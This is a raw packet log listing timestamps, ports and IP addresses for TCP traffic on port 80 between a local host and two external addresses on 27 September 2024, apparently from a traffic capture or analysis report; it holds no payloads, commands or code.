Sep 27, 2024 16:18:21.739435911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739445925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739447117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739464045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739465952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739480019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739490986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739500999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739501953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739518881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739526987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739530087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739540100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739550114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739552021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739562988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739573956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739583969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739588022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739599943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739609957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739619017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739629030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739629984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739639997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739650011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739650011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739660025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739670038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739676952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739680052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739691019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739706993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739718914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739729881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739738941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739742041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739759922 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739780903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740092993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740133047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740298986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740309954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740319967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740329027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740335941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740345001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740355968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740362883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740370989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740382910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740396023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740403891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740406036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740416050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740426064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740426064 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740436077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740446091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740458012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740468025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740477085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740478992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740494967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740505934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740516901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740516901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740526915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740540028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740541935 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740550995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740569115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740597010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740747929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740757942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740767956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740787983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740812063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740818977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740823984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740853071 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740875006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.740983009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.740993977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741003990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741013050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741024971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.741039991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741050959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741051912 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.741060019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741076946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741086006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741092920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.741096973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741106033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741113901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.741117001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741127014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741136074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.741142035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741153002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741162062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.741172075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.741208076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742209911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742254019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742363930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742377043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742400885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742424965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742501974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742537975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742712021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742746115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742911100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742922068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.742952108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.742969990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743089914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743100882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743110895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743128061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743151903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743273973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743309021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743530989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743541956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743577003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743594885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743642092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743681908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.743827105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.743865013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744013071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744046926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744363070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744374037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744384050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744395018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744400978 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744405031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744426012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744467020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744494915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744504929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744515896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744527102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744535923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744571924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744623899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744658947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744800091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744838953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.744956017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744966984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744976997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744987011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.744995117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.745001078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745016098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.745043993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745054007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745059013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.745064020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745075941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745085001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.745086908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745102882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745110035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.745112896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.745148897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.750242949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750262022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750272036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750294924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750309944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750318050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750370979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750370979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750396013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750405073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750416040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750423908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750468016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750485897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750525951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750540972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750550985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750560999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750571012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750579119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750586033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750596046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750614882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750619888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750627995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.750679016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.750679016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752023935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752032995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752043009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752053976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752063036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752073050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752116919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752145052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752156019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752166986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752176046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752197027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752270937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752294064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752304077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752314091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752325058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752347946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752388000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752454042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752470970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752500057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752525091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752551079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752551079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752559900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752571106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752582073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752592087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752630949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752630949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752720118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752729893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752739906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752751112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752760887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752772093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752779961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752779961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752794981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752805948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752816916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752824068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752845049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.752852917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752872944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.752985001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753005981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753015995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753026009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753036976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753046989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753056049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753062963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753074884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753087044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753093004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753103018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753113985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753130913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753142118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753160954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753169060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753169060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753201962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753375053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753385067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753396034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753406048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753412962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753436089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753446102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753453970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753462076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753470898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753480911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753492117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753501892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753508091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753516912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753528118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753537893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753544092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753544092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753556013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753571987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753593922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753593922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753633976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753665924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753681898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753693104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753705978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753710032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753720045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753732920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753737926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753798008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753815889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753825903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753837109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753846884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753858089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753868103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753885031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753931999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753931999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.753952980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.753962994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.754014015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.762789011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762826920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762837887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762844086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.762871027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.762881041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762892008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762902975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762912989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.762921095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.762963057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763130903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763170004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763312101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763324022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763334990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763350964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763375044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763650894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763664007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763686895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763689041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763705015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763710022 CEST	49613	80	192.168.2.6	185.215.113.17
